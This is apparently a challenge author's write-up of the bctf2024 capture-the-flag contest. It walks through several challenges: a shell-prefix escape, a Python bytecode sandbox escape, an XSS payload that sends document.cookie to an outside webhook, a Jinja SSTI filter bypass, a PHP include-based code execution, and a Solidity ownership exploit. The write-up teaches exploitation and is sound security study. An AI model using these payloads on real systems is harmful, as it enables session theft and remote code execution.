bctf2024 CygnusX’s Author Writeups

Table of contents

  1. misc
    1. wabash - Easy
    2. awpcode - Hard
  2. web
    1. b01ler-ads - Easy
    2. pwnhub - Medium
    3. Library of <?php - Medium
  3. blockchain
    1. burgercoin - Easy
  4. Review

misc


wabash - Easy

178 solves - 176 points

Challenge Description

wabash, its a river, but also a new shell! Flag is in /flag.txt

We can notice when connecting to the netcat, that the program seems to append wa to the start of any command we type.

There are many solutions for this, one of which is ||$0 which executes wa||$0. $0 is the first argument to any program, so in this case it is sh.

Solve

awpcode - Hard

2 solves - 498 points

Challenge Description

The awp from cs can shoot through walls!

This challenge has a short, but interesting source code.

It is also important to note, the python version is 3.11.6

from types import CodeType
def x():pass
x.__code__ = CodeType(0,0,0,0,0,0,bytes.fromhex(input(">>> ")[:176]),(),(),(),'Δ','','✉︎',0,bytes(),bytes(),(),())
x()

The source code creates an empty function x, changes its source code to some bytecode that we can input as hex, then calls the function executing our bytecode.

Lets see what this code object is doing. The important fields are listed below.

CodeType(0,0,0,0,0,0,
bytes.fromhex(input(">>> ")[:176]), #our input
(), #co_consts
(), #co_names
(),'Δ','','✉︎',0,bytes(),bytes(),(),())

In python, when you run bytecode, python’s bytecode interpreter looks to load any constants like strings or integers from a tuple named co_consts. In this case, co_consts is empty, so we can’t use any constants in our code.

The next thing to note is that the co_names tuple is empty, so something that does eval() or input() or os.system() will not work, as eval, input os, and system are considered names, and will be looked up in co_names.

Seems impossible? See this link

From the above, we can see that python bytecode interpreter doesn’t check if there is actually something in the co_names or co_consts tuple. It just goes to whatever offset the bytecode tells it to go to, and grabs whatever is there.

In our case, at an offset of 0x71 in co_consts there exists a builtins module. You can find this yourself by bruteforcing offsets till you find something useful.

Now we still have a small issue. How can we utilize this builtins module without any co_names?

The answer is to place the builtins module on the stack, pop off the stack until we reach a string with a function we want, then use that as a ‘name’ to call something from builtins.

There is a pretty small restriction on the length of our input byteccode, so we can use opcodes like BUILD_MAP to pop many arguments off the stack at a time.

The final exploit is as follows.

  1. Load the builtins module onto the stack
  2. Pop off the stack until we reach the input string
  3. Use the input string to get the input function from builtins
  4. Store that function on the stack, call it, and store the result on the stack
  5. Repeat 1-4 for eval
  6. Call eval function with input result as an argument
  7. Execute arbitrary python like __import__('os').system('sh')

My code can be found in the challenge repository, but Crazyman and woodwhale from no rev/pwn no life has cleaner bytecode with a similar strategy, using BUILD_TUPLE instead of BUILD_MAP.

import dis

def assemble(ops):
    cache = bytes([dis.opmap["CACHE"], 0])
    ret = b""
    for op, arg in ops:
        opc = dis.opmap[op]
        ret += bytes([opc, arg])
        ret += cache * dis._inline_cache_entries[opc]
    return ret

co_code = assemble(
    [
        ("RESUME", 0),
        ("LOAD_CONST", 115),
        ("UNPACK_EX", 29),
        ("BUILD_TUPLE", 28),
        ("POP_TOP", 0),
        ("SWAP", 2),
        ("POP_TOP", 0),
        ("LOAD_CONST", 115),
        ("SWAP", 2),
        ("BINARY_SUBSCR", 0),
        ("COPY", 1),
        ("CALL", 0),    # input
        
        ("LOAD_CONST", 115),
        ("UNPACK_EX", 21),
        ("BUILD_TUPLE", 20),
        ("POP_TOP", 0),
        ("SWAP", 2),
        ("POP_TOP", 0),
        ("LOAD_CONST", 115),
        ("SWAP", 2),
        ("BINARY_SUBSCR", 0),
        ("SWAP", 2),
        ("CALL", 0),    # exec
        
        ("RETURN_VALUE", 0),
    ]
)
print(co_code.hex())

web


b01ler-ads - Easy

108 solves - 302 points

Challenge Description

Ads Ads Ads! Cheap too! You want an Ad on our site? Just let us know!

The challenge is a simple XSS challenge. The source code is provided, but the important part is below.

const content = req.body.content.replace("'", '').replace('"', '').replace("`", '');

The above code sanitizes the input by removing single quotes, double quotes, and backticks. This is a common mistake in web development, as it is easy to forget about other ways to escape strings.

We can construct a string using String.fromCharCode to bypass the filter.

<script>fetch(String.fromCharCode(104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,55,98,54,51,102,55,53,97,45,57,52,55,53,45,52,49,56,56,45,98,51,56,57,45,51,54,53,99,56,102,57,100,48,102,100,97,47,63,102,108,97,103,61)%2bdocument.cookie)</script>

The challenge actually had a minor flaw as .replace only replaces the first instance of the character. This means that we can bypass the filter by appending '"` to the beginning of our payload

pwnhub - Medium

15 solves - 481 points

Challenge Description

A fun place to share all your exploits with others! I'm still working on developing some parts though

The challenge is a jinja ssti with pretty heavy restrictions. The source code is provided, but the important part is below.

app.secret_key = hex(getrandbits(20))
INVALID = [", ", ".", "_", "[", "]","\\", "x"]
@app.post('/createpost', endpoint='createpost_post')
@login_required
def createpost():
    not None
    content = request.form.get('content')
    post_id = sha256((current_user.name+content).encode()).hexdigest()
    if any(char in content for char in INVALID):
        return render_template_string(f'1{"".join("33" for _ in range(len(content)))}7 detected' )
    current_user.posts.append({str(post_id): content})
    if len(content) > 20:
        return render_template('createpost.html', message=None, error='Content too long!', post=None)
    return render_template('createpost.html', message=f'Post successfully created, view it at /view/{post_id}', error=None)
@app.get('/view/<id>')
@login_required
def view(id):
    if (users[current_user.name].verification != V.admin):
        return render_template_string('This feature is still in development, please come back later.')
    content = next((post for post in current_user.posts if id in post), None)
    if not content:
        return render_template_string('Post not found')
    content = content.get(id, '')
    if any(char in content for char in INVALID):
        return render_template_string(f'1{"".join("33" for _ in range(len(content)))}7 detected')
    return render_template_string(f"Post contents here: {content[:250]}")

We can see to get to the vulnerable render_template_string call, you need to somehow spoof yourself as admin. The secret key is only 20 bits long, which is easily bruteforcable. You can use a tool like flask-unsign to get the secret key, then forge a cookie with the username as admin.

Next it seems that we have to find some payload shorter than 20 chars, but we can notice even though an error is displayed when it is longer, the post is still created. This means we can create a post with a payload longer than 20 chars, then view it to trigger the ssti.

Though the post id is not given, it is easily retreiavable by calculating

post_id = sha256((current_user.name+content).encode()).hexdigest()

Lastly we need to bypass the restrictive INVALID chars.

We can almost exactly follow the payload given here

However, there is some issues because we don’t have access to \ or x.

We can bypass this by just hiding _s in the request arguments, and referencing them in the payload.

For example, we can use request|attr("args")|attr("get")("d") to get the value of d in the request arguments, which we can manually set to an underscore for example.

So our payload ends up looking like

{% with a=request|attr("args")|attr("get")("d"),b=request|attr("args")|attr("get")("f")%}{%print(request|attr("application")|attr(a~"globals"~a)|attr(a~"getitem"~a)(a~"builtins"~a)|attr(a~"getitem"~a)("open")(b)|attr("read")())%}{%endwith%}

And we can view it at /view/e5c478f7e0ea9f7e6dc8bcd722a3c93c4d849397b2e8c25ff283b95a8aa1eaa7?d=__&f=flag.txt

print(hashlib.sha256(('admin'+'{%with a=request|attr("args")|attr("get")("d"),b=request|attr("args")|attr("get")("f")%}{%print(request|attr("application")|attr(a~"globals"~a)|attr(a~"getitem"~a)(a~"builtins"~a)|attr(a~"getitem"~a)("open")(b)|attr("read")())%}{%endwith%}').encode()).hexdigest())

Generates the hash. Viewing our post gives the flag.

Library of <?php - Medium

7 solves - 492 points

Challenge Description

The flag should show up eventually… Right?

This challenge is a pretty spaghetti code php challenge. But what php code isn’t spaghetti lol…

The important part of the code is below.

public function __construct($q, $owner) {
        $this->search = $q;
        if (gettype($q) !== 'string') {
            die('Invalid input');
        }
        $this->validate();
        for ($i = 0; $i < strlen($q); $i++) {
            $this->seed += ord($q[$i]);
        }
        $this->seed = ($this->seed % 1000000) * 1000000;
        $this->calcPage();
        mt_srand($this->seed);
        $this->owners[$owner] = uniqid();
    }
public function generateResults($name) {
        ob_start();
        $results = '';
        for ($i = 0; $i < 10000; $i++) {
            $results .= $this->alpha[mt_rand(0, strlen($this->alpha) - 1)];
        }
        echo "Discoverer: ";
        if ($this->owners[$name]) {
            echo $this->owners[$name] . '<br><br>';
        }
        $results = substr($results, 0, strlen($results) - strlen($this->search));
        $t = mt_rand(0, strlen($results));
        echo substr($results, 0, $t) . '<b>' . htmlspecialchars($this->search, ENT_QUOTES, 'UTF-8') . '</b>' . substr($results, $t);
        $f = './tmp/' . uniqid() . '.txt';
        file_put_contents($f,  ob_get_contents());
        ob_end_clean(); // xss mitigations.
        return $f;
    }

And the error_handler.php file.

We can see that for some reason this code uses object buffers, and writes to a file when you search for something.

In search.php:

if (hash('sha256', $d + rand(0, getrandmax())) === $securify) {
            include getBookPath($_GET['s']);
        }
        else {
            echo getBook($_GET['s']);
    }

This is the part where we can get RCE, when php includes a file, it actually executes the code in the file. We can see that the securify hash is generated by adding a random number to the d parameter, then hashing it. This is pretty weak, as we can just pass in a super large number and php will coerce the sum to be INF which we can easily find the hash of.

Now our problem is, how can we actually get php code to execute. We need <?php to be at the start of the file, but we can’t get type the <? characters.

This is where the error handler comes in. We see that with some clever type jugging tricks, we can specify our own values as the username, and get

echo "Discoverer: ";
        if ($this->owners[$name]) {
            echo $this->owners[$name] . '<br><br>';
        }

To throw an error, with our username at the end.

This is enough for <?php to be appended to our file, and we only need to bruteforce the babel output to start with a comment like /* and we can search for soemthing like */ echo system('cat /flag.txt') to get the flag. This comments out the gibberish in the babel output, and then runs the php code.

For example

*/echo `cat /flag.txt`;//KFVdZfHwainAvfyyIJwEfPssLleFvYagqqxtFfycfmUXmCXiUVFBMVrloKOHzJqYzRQfyNfeNkGBWqZMOKEdWIhXFUfatFvCQsUFEnMKjykuCzcgukFxJUePDvHBTYLUtaSAVtCcDDQQpNDuMMhBsSVzeVylDVMaMQMFQTgsvBHBuSmvYLLpEgtwheSTgpqNfSCyWAYQqndXwCyLRGkUlUZYWhdncTxhFNpewYvdJKPakmmjrjxrZHXa

works, and we can just go to the search page withd and securify as set above to get the flag.

blockchain


burgercoin - Easy

31 solves - 458 points

Challenge Description

b01lers started a new burger chain called b01lerburgers! On your first burger purchase you get a free burgercoin token!

The challenge is a simple ethereum contract challenge. The contract is below.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

contract burgercoin {
    address public owner;
    mapping (address => uint) public balances;
    int public totalSupply;


    constructor() {
        owner = msg.sender;
        balances[owner] = 30;
        // only 10 burgercoin in circulation for now
        totalSupply = 10;
    }

    function purchaseBurger() public {
        require(balances[msg.sender] == 0, "You already claimed your burgercoin!");
        balances[msg.sender] = 1;
        totalSupply -= 1;
    }

    function giveBurger(address to) public {
        require(balances[msg.sender] >= 30, "You are not the burger joint owner");
        balances[to] += 1;
    }

    function transfer(address to, uint amount) public {
        require(balances[msg.sender] >= amount, "Insufficient balance");
        balances[msg.sender] -= amount;
        balances[to] += amount;
    }

    function getBalance(address user) public view returns (uint) {
        return balances[user];
    }

    function transferBurgerjointOwnership(address newOwner) public {
        require(balances[msg.sender] >= 30, "You are not the burger joint owner");
        owner = newOwner;
    }

    function isSolved() public view returns (bool) {
        return balances[owner] == 0;
    }
}

Our goal is to bankrupt the contract owner, but we can actually see if we are able to transfer ownership to an address with no burgercoin, the contract is marked as solved.

To become owner we need to get 30 burger coins. We can do this by calling purchaseBurger 30 times from different addresses. The contract won’t run out of burgercoin since it is an int and can go negative.

After we have 30 burgercoins, we can call transferBurgerjointOwnership to transfer ownership to an address with 0 burgercoins.

Then the challenge is solved.

Solve Contract:

contract Attack {
    burgercoin public target;

    constructor(address _target) {
        target = burgercoin(_target);
    }

    function attack(address _me) public {
        target.purchaseBurger();
        target.transfer(_me, 1);
    }

    function isSolved() public view returns (bool) {
        return target.isSolved();
    }
}

Review


I’d say this iteration of bctf2024 went very well, and people seemed to have a lot of fun solving my challenges!

See some stats below

739 total teams
393 teams solved sanity check or more
276 teams solved a non-sanity check chall

See you next year!!